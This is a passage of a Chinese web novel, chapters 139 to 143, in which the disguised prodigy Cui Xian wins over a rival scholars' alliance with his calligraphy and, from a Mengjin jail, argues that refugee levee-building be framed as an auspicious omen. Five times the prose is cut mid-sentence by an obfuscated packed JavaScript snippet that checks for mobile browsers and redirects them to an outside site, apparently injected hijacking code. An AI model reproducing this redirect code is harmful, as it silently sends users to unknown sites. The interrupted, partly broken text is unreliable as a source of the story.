但一群‘反岘同盟’成员们的吵架声,把怒吼的风声都给压了下去。 “听说崔岘八岁的时候,模样便生的俊俏非凡,犹如仙童!现在长大了,肯定更加俊俏!我等歪瓜裂枣,竟没有一个长相标致的!单是卖相,就直接输了啊!” “听说崔岘还能写得一手好字!咱们这几十个人当中,有书法大家吗?” “崔岘还会作诗!” “崔岘作的八股文,也是一绝!” “够了,你们再说下去,我都快要崇拜上此人了!” “荒谬,谁会崇拜一个江郎才尽之人?” “别吵了!现在当务之急,是找到一个相貌、写字、写诗、写八股文都不输崔岘的大才子,来做我们反岘同盟的领袖!带领咱们,去洛阳文会振臂一呼,狠狠教训那沽名钓誉的崔岘!” “苏祈接了请柬,应该很快就来了。” “当真?太好了!苏祈各方面,绝对完胜崔岘呐哈哈哈!” ? 139、受到了黑粉的狂热欢迎 经过慎重考虑崔岘还是决定走一趟孟津。 一是洛阳牡丹文会四月中旬开始时间很充裕。 二是他对这个‘反岘同盟’保持怀疑态度。 因陕西大旱师祖在朝堂压力倍增。 师叔李端被宣调回京即将被安排去陕西赈灾。 这个节骨眼上突然在孟津出现一个‘反岘同盟’……这是在反岘还是在借着反岘的名义搞事情呢? 很难说的准啊。 毕竟孟津这个地方一旦跟‘同盟’挂钩大有文章可做。 一个搞不好能让整个大梁朝堂都因此陷入震动。 但说实话去参加一场全都是自己‘小黑粉’的盟会崔岘心里多少还是有些犯嘀咕的。 还好他披了个‘贾邵’的马甲。 自宝丰县出发乘坐马车一路走走停停。 第五日崔岘赶到了孟津、鸿雁楼外。 刚下车耳边便听见呼呼狂风裹挟着黄河的咆哮声在四周回荡。 但目之所及处并未瞧见大河。 想来鸿雁楼距离黄河还有一小段距离。 苏家侍从将崔岘送到鸿雁楼后自行返回宝丰。 而崔岘则是带着那封请柬迟疑向鸿雁楼走去。 这是一座有百尺高的巨楼外观2层3檐内部为五层换算到现代尺寸是足足31米十分宏伟气派。 自从穿越后崔岘头一次见这般高的建筑一时间竟然还有些不习惯。 鸿雁楼。 一帮小黑粉们吵吵了许久最后吵累了几十个人怏怏不乐下楼准备返回客栈。 这时候。 其中一个小黑粉目光随意看向楼外 众人茫然抬头。 而后气氛便齐齐凝滞了。 河风呼啸天色微微变得阴沉。 有人自远方走来。 他身姿挺拔修长脊梁笔挺一身红色长袍在风中猎猎翻飞。 好似下一刻便要乘风而去的谪仙! 等再走近一些。 ‘谪仙’露 出真容,原是一位剑眉星目,风度翩翩的俊俏少年郎! 瞧见此人相貌的刹那,黑粉们激动了,齐齐在心中乞求:上苍保佑,保佑此人一定是来加入我们反岘同盟的! 别的暂且不提。 至少此人的容貌,绝对能胜过崔岘! 这怎么不算是一种突破性的胜利呢! 似乎是上天听到了他们的乞求。 那少年郎走进鸿雁楼,看着他们,试探性问道:“敢问,诸位可是反岘同盟的? 哗! 真的是来加入我们的! 看此人这般谪仙模样,想来肯定是名满天下的大才子苏祈了! 太好了,我们有救了! 一群小黑粉们兴奋不已,齐齐看向他们最中间一位约莫十六七岁,面色黝黑的少年。 显然。 这个黝黑的黑粉,便是这里的头头。 黝黑少年强行按捺下激动,看向崔岘笑道:“对,我叫严思远,暂时是反岘同盟的话事人。 “敢问兄台尊姓大名,自何处而来?如何拿到的请柬邀约? 哦,原来你就是我的黑粉头子。 严思远,我记住你了。 崔岘心中腹诽。 仔细看了对方几眼,这才道:“在下贾邵,从信阳府而来。至于请柬……苏祈师兄暂时有事不来了,把请柬交给了我。 什么?此人不是苏祈? 听到这话,包括严思远在内,一群黑粉们都露出‘天塌了’的表情。 但很快。 严思远便震声道:“诸位,莫要露怯!我大胆猜测,苏祈师兄突然失约,一定是因为那崔岘搞的鬼! 原本失望的一群黑粉们,纷纷附和着怒骂崔岘。 崔岘:“……? 猜的很好,下次不许再猜了奥! “贾绍兄,莫怪我等失礼,实在是如今我们处境艰难,外面全都是崔岘的人!所以我等才期盼苏祈,来做我们的新领袖。 似乎是怕崔岘生气,严思远赶紧解释道:“但你放心,贾绍兄,只要你讨厌崔岘,我们便是朋友了! “不过我还是想问一句,贾绍兄你学识如何?擅长什么?写字?作诗?或者辩经? 众人都看向贾绍,目露期待。 虽从未听说过此人的名头,但这个贾绍,皮囊相貌实在惊艳绝伦。 这般长相,但凡有一样擅长的,那便能是个人物了啊。 如今受到崔岘重创的反岘同盟,实在太需要人才了!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088430|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听到这个问题,崔岘矜持道:“学识还行,都擅长一点点。” 啊这。 都擅长一点点,那就是都不行的意思呗? 黑粉们很是失望。 严思远叹了口气,心里已经不抱任何期待,但还是说道:“既然这样,贾绍兄你写副字贴吧。” “莫要有压力,和平常一样写就好,我们不会拒绝你加入的。” 其余几人从书箱里取出笔墨纸砚,再把书箱摞起来,作为桌案。 崔岘拿起笔,认真问道:“确定就跟平时一样写吗?” 严思远以为他怯场了,笑着鼓励道:“对,和平时一样写就好。你别怕,我在旁边指点你。” “在下不才,擅长书法。” 小黑粉们看向崔岘,一副你小子走大运了能得思远兄指点书法的表情。 崔岘道:“好的,多谢。” 而后提笔。 蘸墨。 接着就这般随意落笔,整个人看起来格外漫不经心。 严思远眉头微微皱起,正欲开口提醒,让对方定住手腕。 然而下一刻,他愣住了。 贾绍看似姿态随意,但手腕稳稳悬浮在半空中,笔尖落下那一刻,他的气势,变了! 楼外河风在怒吼。 楼里。 贾绍笔走龙蛇,手腕在白纸上来回舞动,速度快的令人目眩神迷。 若方才的贾绍,是和煦的,谦逊的,温润的。 那么此刻写字的贾绍,则是张扬的,不羁的,洒脱的! 红衣少年郎携带一往无前之势,如百均**发,崩浪奔雷。 于是。 一篇潇洒飘逸,尽显书生意气的字迹,霎时间跃然纸上。 在看到那篇字帖的瞬间,原本要‘指点’贾绍的严思远傻了。 他哆嗦着身体,目光死死的盯着书箱上那幅字,陷入沉默。 这是什么字体,怎么从未见过? 但,不重要! 重要的是,这得是多么可怕的笔力,多么恐怖的天姿,才能写出这等绝世好字啊! 贾绍,绝对可以堪称当代书圣! 而这位书圣,加入了反岘同盟! 崔岘,老天有眼,你完了哈哈! ? 140、书圣驾临孟津,速速开仓赈粮! 鸿雁楼内。 崔岘写完了字帖,将毛笔搁置在一旁。 原本声称要‘指点’贾邵的严思远,不知为何,一声不吭。 他的表情时而振奋激动,时而苍白自卑。 总之,相当之复杂! 在场众人都很疑惑,怎么了这是? 难道贾邵的字,写的很差? “思远兄,莫要这副表情。我们应该团结一切反对崔岘的朋友,才能拯救黑暗的大梁文坛、和朝堂!贾邵兄或许只是不擅长书法罢了……” 有人善意替贾邵开脱,说话的同时,下意识走上前来去看贾邵写的字。 而后,他没说完的话,硬生生憋了回去。 直接被那幅字,震撼到失去言语。 越来越多人察觉到不对,都围了上来。 那字帖写的是《论语·为政篇》的几段内容。 最普通的文字,却写出了最大气磅礴之势,其潇洒意气,甚至快要冲破纸张,腾跃而出! 这是何等恐怖的笔力啊! 一帮读书人们脸色涨的通红,齐齐呆滞看向贾邵。 不是?我请问呢? 你这叫只擅长一点点? 我们要是能写出你这样的绝世好字,那指定宣扬到路边的狗都得知道啊! “好生洒脱的文字,好生张扬的笔法!” “为何我从未见过这等字体!” “书圣,哪怕是书圣亲至,也不会比这字帖写的更好了吧!” “有救了,有救了!有了这幅字帖,怀明兄,修德兄,和数以千计的百姓们,都有救了!” “贾邵兄,你简直是我反岘同盟的大恩人啊!” “不,岂止是我反岘同盟!贾邵兄将会成为数千百姓的大恩人!这绝对是大功德一件呐!” 几十位黑粉神情激动,凑在一起叽叽呱呱,看向崔岘的目光,狂热又崇拜。 甚至还有人开始嚎啕大哭掉眼泪。 崔岘见状懵了:“……?” 只是一篇字而已,不至于不至于。 小黑子,你们反应有点太过头了。 严思远终于从懵懂状态中回神,他深吸一口气,看向贾邵,涩声问道: “敢问贾邵兄,今年贵庚?” 崔岘怕暴露身份,含糊道:“16。” 鸿雁楼内一片安静。 所有人目光中都带着不可置信。 严思远甚至苍白着脸往后退了几步,差点没站稳。 而后他深吸一口气,以近乎可怜心酸的语气,颤声问道:“那,敢问……你这字,师承哪位大家呢?” 崔岘笑道:“自学。” 其实是临摹书圣王羲之,但这个世界毕竟没有书圣。 那就只能对外说是自学了。 五年来,崔岘除了读书辩经。书法字帖,也从未有一日懈怠啊! 哗! 就这么两个回答,把一群黑粉们给震傻了。 鸿雁楼内一片安静。 但却此时无声胜有声,沉默声震耳欲聋。 听,道心一片片破碎的声音! 此刻,在所有人眼中,一身红衣的少年郎贾邵,宛如妖孽。 16岁。 自学。 堪比书圣! 老天啊,你这样,那我十几年如一日的练字,算什么? 算我愚笨吗? 严思远整个人似哭非哭,感觉快碎掉了。 当然若是他知道,眼前的贾邵其实就是崔岘,而且才15岁,可能会碎的更加彻底。 黄河的波涛声仍旧在怒吼。 严思远缓了许久,才从某种破碎的状态回过神来。 他深吸一口气,对贾邵长鞠一躬:“方才是我孟浪,竟妄图指点贾邵兄,实在羞愧。” “以贾邵兄这手好字,就算称一句当代书圣,也不为过。” 崔岘闻言摆摆手:“贾某愧不敢当。” 怎么就愧不敢当了? 严思远闻言激动反驳道:“那小小崔岘,九岁便敢称大梁第一神童!贾邵兄何必妄自菲……不!若是连贾邵兄你都不敢称作书圣,那这世间,便再无书圣!” “你的字帖,绝对稳稳能压过那崔岘一头!” “贾邵兄,你知道这意味着什么吗?” 意味着什么? 我压我自己一头? 崔岘迟疑问道:“这意味 着什么?” 严思远激动大声道:“意味着,你将拯救万民于水火!意味着,你将成为最深得人心、名震大梁的书圣!” “我们反岘联盟,一定要用自己的全部力量,将你的事迹,传唱出去!” “相比于崔岘那等朝堂权贵谄媚陛下的**神童,贾邵兄你,才是真的,为拯救万民而扬名的文心书圣啊!” “大家说,是不是这样?” 严思远越说越激动,甚至到最后,还大声呼唤同伴,企图得到认同。 而一群黑粉们,早就脸色通红。 他们看向贾邵,目光中尽是振奋,与尊崇。 甚至齐齐给贾邵作揖行礼。 还有人给贾邵下跪! “拜见书圣!拜谢书圣!” “我等替万千百姓,感谢书圣的大恩大德。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088431|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“愿世间有千千万书圣这般的人,才能让崔岘之流,彻底消失,让我大梁海晏河清!” 崔岘傻了。 慌忙躲避开这群人的跪拜。 一言不合就磕头? 快停止这场闹剧吧,太吓人了! 但严思远已经沉浸在‘书圣名震大梁’的幻想中不可自拔了。 他拿起崔岘写的那幅字帖,颤声道:“留下两个人陪着贾邵兄,其余人跟我走。” “贾邵兄,今日过后,你的书圣仁德之名,就要彻底开始传唱天下了!” 说罢。 他们一群人,呼啦啦冲出鸿雁楼。 崔岘想拦都拦不住。 黑子们,把话说清楚啊,究竟怎么个事儿? 另一边。 激动的严思远,带着一群反岘联盟读书人,赶往孟津县城。 有人忐忑问道:“思远兄,你说,孟津县令会开仓赈粮吗?” 严思远冷笑道:“他自己说的!只要我们反岘联盟拿出比崔岘更好的字,或者诗,就同意开仓赈粮!并且放了怀明兄,修德兄。” “这幅字,足以让那狗官县令兑现诺言了!” 对! 众人一想到贾邵的字,当即心头火热。 百姓们,有救了! 严思远等人从鸿雁楼,一路到孟 津城外。 便见此刻的孟津城外,密密麻麻……全都是流民! 从陕西逃难而来的流民! 他们东倒西歪的躺在路上,神情疲惫、饥饿、哀切、绝望。 而整个孟津城,也因为大批量流民的到来,陷入恐慌。 严思远等人来到城门处。 守城的士卒瞧见他们,眼神中透露出厌恶:“又是你们,还敢来**儿!当心大人把你们全都给抓起来!” 严思远骄傲扬起头颅,把贾邵的字帖递过去:“给你们大人送过去,告诉他,书圣驾临孟津,速速开仓赈粮!” 士卒翻了个白眼。 但知道这群读书人不好惹,还是选择把那字帖,送去县衙。 孟津县令正在焦头烂额处理公务。 “书圣驾临孟津?” 听闻士卒带来的话,孟津县令一声冷笑,随手接过那张字帖:“好好好,本官倒是要瞧瞧,什么东西,都敢自称是书圣——” “嘶!!” 话还没说完,孟津县令倒抽一口冷气,整个人差点没站稳,拿着字帖的手微微发抖。 “这是哪位书圣来了?完了,全完了!孟津要完了啊!” “快快,开粮仓,先去搭建十个粥棚赈灾!” ? 141、狱中辩经:事关陕西万万百姓之未来!(上) 孟津县令没疯。 他自然不可能因为一张字帖就轻易开仓赈粮。 哪怕这张字帖真是‘书圣’写的也绝无可能! 但此时的事态发展已经不是孟津县令所能左右的了。 因为如今孟津城外汇聚了足足数千陕西逃难来的流民。 这实在太可怕了! 但凡换个别的地方孟津县令都不至于说出‘孟津完了’这种话且对外面的流民熟视无睹。 但这里是孟津啊! 曾经武王率军至孟津八百诸侯不期而至愿协同武王共伐商纣。 还有。 《尚书·禹贡》载:导河积石至于龙门。 孟津渡口被视为大禹治理黄河的重要成果之一。 除此之外。 相传东汉光武帝刘秀遭追兵时逃至孟津山林得白鹿指引脱险。 由此便能看出孟津这个地方的重要性。 它被视为帝王的‘洞天福地’! 但若是这个地方万千流民汇聚**儿各种苦难哀痛滋生甚至流民们发生可怕动荡呢? 那不是明晃晃打皇帝的脸吗? 一旦此事上报朝廷可不仅仅是孟津县令的乌纱帽保不住。 整个孟津都要遭殃! 当皇帝厌恶一个地方后果绝对非常严重。 工业商业农业所有利好政策都与孟津无关。 它将成为大梁王朝疆域中‘透明’的存在被忽视被遗忘被……选择性放弃。 这对于孟津对于孟津百姓来说无异于一场恐怖浩劫! 用不了十年、二十年这里便会成为一座被贫穷笼罩的‘鬼城’。 而这一切是如何造成的呢? 说来好笑因为‘反岘同盟’。 这个同盟由一群‘嫉恶如仇’、‘年轻热血’的读书人组成。 他们把同盟地点选择在孟津也是在效仿‘八百诸侯不期而至簇拥武王盟约’的典故 一开始孟津县令对此并没有放在心上。 年轻的读书人最容易热血冲动经常汇聚起来妄议朝 政,指点江山。 这很正常。 谁做学生的时候,未曾这般天真又肆意的批判社会,议论**呢? 学生仔不愁吃喝,可不就隔三差五搞‘键政’嘛。 但坏就坏在,这里是孟津啊! 而同时,因陕西旱灾,有一小批逃难的流民,来到了孟津城外。 按照孟津县令的想法,有流民来了,人数不多,悄悄收留了便好。 可这帮反岘同盟的年轻人,竟然打着‘救灾济民’的口号,大张旗鼓收留流民,在孟津城外搭棚,自费施粥。 他们觉得自己在做好事。 问题是,逃难的流民何其多! 一听孟津有施粥棚,万千陕西流民,纷纷振奋涌向孟津! 反岘同盟当中,不乏有一些富家公子哥,或者实干家。 一开始,他们自行出钱出力,还能应付。 可后来。 流民越来越多,完全没办法招架。于是这群读书人,便向孟津县令施压,让孟津县开仓赈粮。 但孟津县,就是一个小小县城,哪里有这么多粮食用于赈灾? 何况。 一旦开始赈灾,就会有更多流民闻讯汇聚而来。 流民越来越多,骚乱、动荡、疫病等社会治安问题,层出不穷,接踵而至。 小小的孟津县,如何来承受? 孟津县令无法,抓捕了反岘同盟的首领,齐怀明、阮修德。 这也是为何。 反岘同盟暂时群龙无首,严思远被迫成为反岘联盟新的话事人,且他们极度期盼苏祈能加入的重要原因! 盖因他们需要一个新的领袖,让‘狗官’孟津县令开仓赈粮,赈济从陕西来逃难的百姓啊! 但孟津县令深知‘孟津’之地的重要性,怎敢轻易接收大量流民? 一个闹不好,不仅无法安抚陕西流民。 还得让孟津百姓,陷入万劫不复之地! 然而自古以来,‘**’都是最不可控的可怕事件。 孟津县令又不敢真的把这群读书人全都抓起来。 于是,他缉拿了‘反岘同盟’的两位首领,齐怀明、阮修德后,故意放出话来: 你们不是反岘同盟吗?行! 那你们拿出比崔岘更好的诗篇,更好的字帖,更好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088432|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的八股文,那本官便同意,开仓赈粮! 孟津县令自然听说过崔岘的大名。 是以,他觉得这群‘反岘同盟’就是小丑,根本不可能比崔岘更强。 这番话,无非就是故意刺激、恶心反岘同盟的。 可万万想不到,反岘同盟真的拿出了一篇堪称书圣般水准的惊艳字帖! 既然是当代书圣,影响力何其惊人? 一旦事情宣扬出去,孟津流民动荡事件传至朝堂,陛下震怒,那孟津便彻底完蛋了啊! 因此。 孟津县令无法,一边震撼于竟真的有‘书圣’驾临孟津,一边又愤怒于反岘同盟的作为,将孟津推向恐怖深渊。 于是。 他咬牙下令:开仓赈粮! 与此同时,孟津县令又下达了密令:将反岘同盟人员,全部捉拿归案! 事已至此,管不了那么多了。 纵然抓捕一群年轻读书人,会引发极大地震荡,但也要阻止这场闹剧! 孟津,绝对不能出事儿啊! 如今只能乞求,有一位天纵奇才,救孟津于水火之中!救陕西,乃至大梁王朝于水火之中啊! 孟津县令一声令下。 还未来得及因为孟津县令同意开仓赈粮而振奋的严思远等人,直接被捉拿归案。 另一边。 对此一头雾水,完全不知道发生了什么事情的崔岘,跟着两位反岘同盟的人,返回客栈。 却不曾想。 在他们回去的路上,一群孟津差役,突然出现,二话不说,直接将他们缉拿! “趴下!” “不许动!” “胆敢反抗,格杀勿论!” 差役们神情凶煞。 骤然被按住的崔岘神情懵逼:果然,黑粉就没有一个好东西啊! 另一边。 被调遣去京城的李端,满目愁容,看向老师郑霞生,哀切问道:“老师,我们下一步,该怎办?” 陕西大旱,是为天灾。 而天灾,又引发了一系列无可掌控的人祸。 郑阁老生神情哀切:“如今,只能期盼一场奇迹了啊。” 可,奇迹又在哪里呢? ? 142、狱中辩经:事关陕西万万百姓之未来!(中) 崔岘就这样稀里糊涂,被关进了孟津县大牢。 严思远和一帮小黑粉们,也都在牢里待着。 看他们的神情,半点没有因被抓而害怕,反倒十分激动、振奋。 尤其是,当崔岘走进大牢后。 严思远走了过来。 更多的黑粉们,走了过来。 “贾邵兄!” “贾兄,因你那张字帖,万千百姓得以活命!” “有你在,咱们反岘同盟一定会名震天下的!” 他们神情狂热,满眼自豪。 崔岘:“……?” 不是,你们在燃什么? 谁乐意在大牢里,接受一群黑粉们的吹捧啊! 千防万防,还是被你们这群黑子给拖累了。 这么想着,崔岘深吸一口气,问道:“所以能不能告诉我,你们究竟做了什么?” 竟然让孟津县令直接缉拿你们。 众人闻言,神情越发得意,一副‘你知道了这件事一定会夸我们’的表情。 严思远不答,而是选择性卖了个关子。 他嘿笑问道:“贾邵兄,假如今有陕西流民数十人,汇于孟津城外。若你是崔岘,你会作何应对策略?” 崔岘闻言,思索着说道:“我会给孟津县令写一副对联。” 牢房里陷入沉默。 而后,严思远和一帮黑粉们哈哈哈疯狂大笑。 “这个问题,咱们每个人都回答过。唯有贾邵兄回答的最妙,他肯定是咱们当中,最讨厌崔岘的人!” “郑阁老和前陈阁老党争不休,为祸大梁朝堂。而那崔岘,便是郑党一手筹谋,推出来的所谓天才神童,用于谄媚陛下。” “这等神童,我大梁不要也罢!” “只会****,纸上谈兵的神童,有何用?还是贾邵兄说的好,遇见这等关乎百姓存亡的大事,那崔岘,怕是也就只会写写对联了!” “陕西大旱,郑党毫无作为,还打算给崔岘扬名,于开封开台辩经,实在可恶!” 听到这些话,崔岘大概明白,这群人为什么会成为自己的黑粉了。 但问题是—— 若有流民汇聚孟津,除了写 对联暗示孟津县令,难道还有别的破局之法? 崔岘看向严思远,纳闷道:“写对联很好笑吗?总不能选择去赈灾吧?” “既然有少数流民来到孟津,那就代表还会有更多的流民在路上。一旦孟津冒然赈灾,便会吸引成千上万流民赶来。” “届时,聚众**、疫病传播、粮价上涨等、让孟津县城百姓惊慌的事件层出不穷。” “孟津一个小小县城,何来那么多粮食赈灾?甚至到最后流民们饿昏头了,哗变袭城抢粮,又该如何解决?” 这番话,让整个牢房都陷入死一般的沉默。 严思远脸色僵硬。 其余小黑粉们神情骤然变得苍白。 原来从方才的得意大笑,到现在的如丧考妣,只需要顷刻间。 因为一切都被贾邵说中了! 如今孟津城外的流民们,似乎已经开始处于失控的边缘。 严思远等人天真的以为,孟津县令同意开仓赈粮,就能解决问题。 可贾邵一番话,让众人冷汗都流了出来。 真的……会哗变吗? 崔岘见他们这样,哪里还有不懂的,眯起眼睛沉声问道:“严思远,抬起头来,看着我说话。你们私自在孟津城外赈灾了?” 严思远咽了口唾沫,颤声道:“我们这是在救济百姓,为了能让他们吃上饭,我们把自己所有的积蓄都花光了。” 荒谬! 崔岘脸色很是难看:“难怪孟津县令要抓你们!现在城外有多少流民?” 严思远嗫嚅道:“七、七八千吧,或许更多。” 崔岘闻言眉头直跳,生气道:“我当你们有多大能耐呢,凑在一起嘲笑崔岘是**神童。那你们倒是干点真正利国为民的好事儿啊!” “敢在孟津赈灾收留流民,你们是想把孟津陷入万劫不复之地啊!还有,那群陕西来的流民,怕是也要因你们而完蛋!” “一群蠢货,你们连崔岘的脚指头都比不上!” 这最后一句,骂的实在太脏了。 牢房里众黑粉涨红了脸,想回击,却又不敢。 严思远最是讨厌崔岘,因此听到贾邵这话,便要梗着脖子反驳。 却见贾邵瞪过来:“怎么,你不服?你作 为这群人的首领,最蠢!你甚至没资格跟崔岘的脚指头比!” 严思远被骂懵了。 崔岘并不理会他,把周围一个小黑粉的书箱借来,迅速写下一张字条,递给狱卒:“劳烦,请帮忙转赠给县令大人。” “孟津有难,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088433|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能坐视不管,你尽快去,希望一切还能来得及。” “否则……孟津便真的完了!” 他周身气度沉稳不凡,眼神清亮,不似严思远等人那般愚蠢。 因此,狱卒迟疑片刻,道:“好。” 这是群读书人,就算是孟津县令,也只是把他们暂时抓起来,牢里的狱卒们自然也不敢过多为难。 狱卒带着崔岘的字条匆匆而去。 严思远憋了许久,还是说道:“那孟津县令,迂腐自大,根本不听我等的意见!贾邵兄,你莫要做无用功。” “而且,孟津县令已经因为你那张字帖,同意开仓赈粮。事情或许不见得会朝着你说的恐怖情况发展。” 众黑粉连连点头。 其实他们更想说:我们赈灾救民,怎么能连崔岘的脚指头都比不上呢? 但,短短半盏茶功夫过去。 让严思远,和一众黑粉们呆滞瞠目的是,孟津县令,竟然真的急匆匆赶来了大牢! 贾邵,真的用一副对联,把县令请来了! 那对联究竟写的什么啊! 孟津县令显然是一路跑来的,整个人还有些气喘吁吁,一进大牢,便高声道:“何人给本官写的字条?” 崔岘一拱手:“正是在下,贾邵。” 孟津县令眯起眼睛,惊异的看向眼前俊朗的少年读书人,片刻后脸色一沉:“你便是那位‘书圣’?好,好啊!” “本官承认,你的书法确实超神入化!但,你可知自己闯下了何等滔天大祸!” “《周本纪》明载''八百诸侯不期而会孟津'',此地乃武王伐纣誓师之所!今流民**,若被诬为''伪受命''如陈胜吴广''鱼腹丹书'',本官九族难保!” “不仅本官,整个孟津,乃至于这群逃难而来的流民,都会陷入万劫不复!” 轰! 此话,犹如惊雷炸响,让牢房里的严思远等人脸色骤然惨白。 而说完这番话的孟津县令,却紧紧攥着手中那张字条,一双眼睛死死盯着贾邵,眼底是无尽的期盼。 他期待贾邵能辩赢自己,为孟津求一条生路! 因为那张字条上的对联写的是:禹疏九河安天下,民筑千堤定孟津! 短短两句话,直接将一场死局,给盘活了! 这贾邵,绝对身负治世大才! ? 143、狱中辩经:事关陕西万万百姓之未来!(下) 禹疏九河安天下,民筑千堤定孟津。 这副对联,看似重点在后面那句‘民筑千堤’,意为以工代赈,接收流民。 实则不然! 前面那句‘禹疏九河’,恐怕才是真正的破局之法。 因为一个小小的孟津县,如何能赈济七八千的流民! 而一旦孟津以工代赈,更多流民涌过来,此事就彻底无法收场了。 是以,孟津县令期待看向贾邵,等待这个少年郎开口。 他来的路上,反复琢磨过这副对联,越琢磨越觉得,其中大有深意。 但一时间又没有清晰的思路。 牢狱中。 灯光昏暗,环境潮湿简陋。 一身红衣的贾邵站在那里,周身气度无双,和这里格格不入。 听闻孟津县令的话,他抬起头来,说道:“大人此言差矣。” “盖因,今流民聚孟津,乃我大梁之祥瑞!何来陈胜吴广污蔑之谈?” 哗! 听闻这话,牢狱内的读书人们,都一片震惊哗然。 这番话实在太荒谬了! 陕西大旱,流民逃窜,百姓哀苦,怎么可能跟‘祥瑞’划上等号? 但严思远等人虽然震惊,却并未开口反驳。 因为孟津县令第一时间呵斥道:“一派胡言!” 虽说嘴上呵斥。 但这位县令,却未采取任何强制措施,摆明了是要贾邵继续说下去。 而在崔岘说出‘祥瑞’二字的时候,其余人在震惊不解。 唯有孟津县令,眼睛猛然亮起来,甚至有些激动到压制不住情绪。 这个贾绍,果真大才! 他给自己点出了一条不仅可以破局,还能通天的青云路! 崔岘直视孟津县令的眼睛,说道:“《孟子·梁惠王下》篇曰:乐民之乐者,民亦乐其乐。” “昔武王会盟乃''诛一夫纣'',今万千流民感念圣天子如武王安民心,汇于孟津。此绝非乱象,反而是海晏河清之祥瑞!” “《尚书·禹贡》载大禹''导河积石,至于孟津'',此地本为治水圣地。今流民自发修堤,正合《孟子·滕文公下》''禹疏九河’之德政。” 嘶。 贾邵这个说辞,让牢狱全场众人,都齐齐倒抽冷气。 他们听懂了。 贾邵这是要引导城外流民,去自发修河堤。 而后,再把这件事,定性为‘流民百姓效仿武王会盟感念陛下恩德自发汇聚孟津修河堤’的祥瑞事件啊! 这胆子也太大了! 可仔细一想,只要这事儿能被定性为祥瑞,孟津危机顷刻可解! 这得是何等才思敏捷的文心墨胆,才能想到这般破局妙法啊! 孟津县令内心激动不已,但嘴上却继续反驳道:“《春秋繁露》云''王者民之所往'',然汉景帝曾言''食肉不食马肝,不言汤武受命''!孟津聚众,乃触碰天家逆鳞!” 崔岘闻言,摇摇头,认真道:“今陕西大旱,流民不赴他处而聚孟津,恰似《周本纪》''白鱼跃舟''之祥瑞,显圣天子如武王得''天命所归''!” “既是祥瑞,大人应即刻进京面圣!” 进京面圣? 汇报祥瑞? 这属实太过于冒险了啊! 孟津县令蹙眉道:“《大梁律》有令,擅离职守者杖一百!况无诏进京,乃无人臣礼,本官岂敢效之?” 崔岘一摊手:“《汉书·贾谊传》云''建久安之势''。今陕西流民携老弱修堤,正合太祖''移民屯田''祖制。” “大人若持《河工祥瑞疏》驰驿进京,非但无罪,反是''急君父之忧''!” 孟津县令陷入沉默。 显然,兹事体大,他在迟疑。 若非孟津县外流民汇聚,情况危急。他甚至都不可能会考虑‘携祥瑞进京’这种冒险的事情。 崔岘见状,意味深长道:“大人可知,为何孟津一事,需定性为祥瑞?” 孟津县令郑重道:“愿闻其详。” 崔岘道:“去年,陕西大旱,陈阁老上书,建议陛下降罪己诏。陛下震怒,陈阁老被贬还乡,郑阁老接替首辅之位。” “而后朝廷连续任命好几位钦差赶往陕西赈灾,都始终无法解决。” “一是为陕西灾情严重,二是为罪己诏一事,陛下震怒,君臣失和,万千百姓惶惶难安。” “此时的大梁,需要一场奇迹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088434|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而奇 迹,就在孟津,就在孟津之祥瑞!” 